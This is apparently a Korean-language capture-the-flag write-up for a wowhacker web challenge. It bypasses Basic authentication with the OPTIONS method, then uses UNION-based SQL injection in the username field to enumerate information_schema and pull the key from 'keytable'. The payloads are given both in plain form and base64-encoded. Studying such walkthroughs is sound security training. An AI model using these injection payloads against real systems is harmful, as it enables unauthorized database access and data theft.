7번 문제를 풀기위해 http://webgame.wowhacker.com/AuThWithMySQL/로 이동합시다.
접속하자마자, 인증 요구창이 뜨는것을 볼 수 있는데 우리가 전에 풀었던 5번과 유사한 문제입니다. 우선 주어진 계정 guest로 로그인을 해봅시다.
Hello^^ guest It's me!
guest's information...
name: guest
group: user
address: Nothing.
phone number: 010-0000-0000
hitnum: 42548
Hint:
not yet! : )~
보아하니, 여기서 얻을 수 있는건 없는것 같습니다. 다시 나온 뒤에 admin으로 로그인을 해봅시다. OPTIONS 메소드를 사용해서 우회할 수 있다고 했었습니다. 우회하고 admin 페이지를 보면,
Hello^^ admin It's me!
admin's information...
name: admin
group: admin
address: SejongRyo Jongro-gu Seoul Sourth-Korea.
phone number: 010-1234-5678
hitnum: 6046
Wow! U got administrator's power.
But, Problem not yet solved!.
Hint:
not yet! : )~
아까의 guest 페이지와 비슷합니다. 아래를 보면 관리자 권한은 얻었으나 문제는 아직 끝나지 않았다고 합니다.
아마 SQL Injection을 통해서 admin의 패스워드를 알아내야 하는 문제 같습니다. 우선 컬럼의 수를 알아내야 합니다. 추측할 수 있는것은 아까의 guest 페이지와 admin 페이지의 정보에서의 name, group, address, phone number, hitnum과 계정의 패스워드가 담긴 컬럼 password으로 6개라는 것을 짐작할 수 있습니다.
그런데 이것은 어디까지나 추측이기에 확인을 해보아야 하는데, 인증 요구 창으로 돌아가 사용자 이름에서 admin 옆에 싱글 쿼터로 닫아주고 아래와 같은 쿼리문을 날립시다.
admin' UNION SELECT '1', '2', '3', '4', '5', '6'/*:--
그러면 아래와 같이 각 컬럼의 번호가 표시됩니다. (컬럼의 수가 맞아야 오류가 일어나지 않습니다.)
만약 컬럼수가 틀리다면 아래와 같은 오류가 출력됩니다.
The used SELECT statements have a different number of columns
Hello^^ admin' UNION SELECT '1', '2', '3', '4', '5', '6'/* It's me!
1's information...
name: 1
group: 3
address: 4
phone number: 5
hitnum: 6
그런데 password 컬럼이 표시되지 않고 2가 빠진것을 보니 password 컬럼이 두번째 컬럼임을 알 수 있고, 컬럼수가 6개인 것이 확실해졌습니다. 이제 테이블을 알아내봅시다. 시스템 테이블인 information_schema.tables에는 모든 테이블의 대한 정보를 담고 있는데, 여기서 table_name 필드에는 데이터베이스 내에서 사용되고 있는 각 테이블들의 이름이 있습니다. 그럼 table_name 필드에서 group_concat 함수를 이용하면 모든 테이블의 이름을 가져올 수 있습니다.
Authorization 부분을 보시면 5번 문제에서 봐왔던것과 같이 Basic 인증을 사용하고 그 옆에 :를 기준으로 아이디, 비밀번호로 나뉘고 있습니다. 그리고 이것을 base64 인코딩 하고있죠. 아래의 문장을 base64 인코딩하여 인코딩 한 값으로 바꿔봅시다.
user'union select (select group_concat(table_name) from information_schema.tables),null,null,null,null,null#:1
dXNlcid1bmlvbiBzZWxlY3QgKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlv
bl9zY2hlbWEudGFibGVzKSxudWxsLG51bGwsbnVsbCxudWxsLG51bGwjOjE=
바꾼뒤에 접속하면, 모든 테이블명이 name 부분에 출력되게 됩니다.
...
name: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_P
RIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS
,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,keytable,user
_info
...
테이블명을 살펴봅시다. 마지막에 보면 수상한 테이블이 있습니다. keytable과 user_info입니다. 아마 keytable에 우리가 원하는 키값이 들어있고, user_info에는 이름, 비밀번호, 주소, 핸드폰 번호 등이 있나봅니다. keytable을 조회해봅시다. keytable에 어떠한 컬럼이 있는지 알아보기 위해서는, information_schema.columns의 column_name 필드를 이용하시면 됩니다. 이제 한번 쿼리문을 날려봅시다.
user'union select (select group_concat(column_name) from information_schema.columns where table_name='keytable'),null,null,null,null,null#:1
dXNlcid1bmlvbiBzZWxlY3QgKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRp
b25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0na2V5dGFibGUnKSxudWxsLG51bGwsbnVsbCxud
WxsLG51bGwjOjE=
접속했더니 name부분에 keytable 테이블의 컬럼명이 나와있네요.
no는 번호같고, value에 키값이 들어있을 확률이 매우 높습니다. limit을 이용하여 value 컬럼에 있는 값을 얻어옵시다.
user'union select (select value from keytable limit 0,1),null,null,null,null,null#:1
dXNlcid1bmlvbiBzZWxlY3QgKHNlbGVjdCB2YWx1ZSBmcm9tIGtleXRhYmxlIGxpbWl0IDAsMSksbnVsbCxudWxs
LG51bGwsbnVsbCxudWxsIzox
그러자 name부분에,
...
name: If you dream it, you can do it
...
키값이 나와있습니다. 'If you dream it, you can do it'가 답입니다.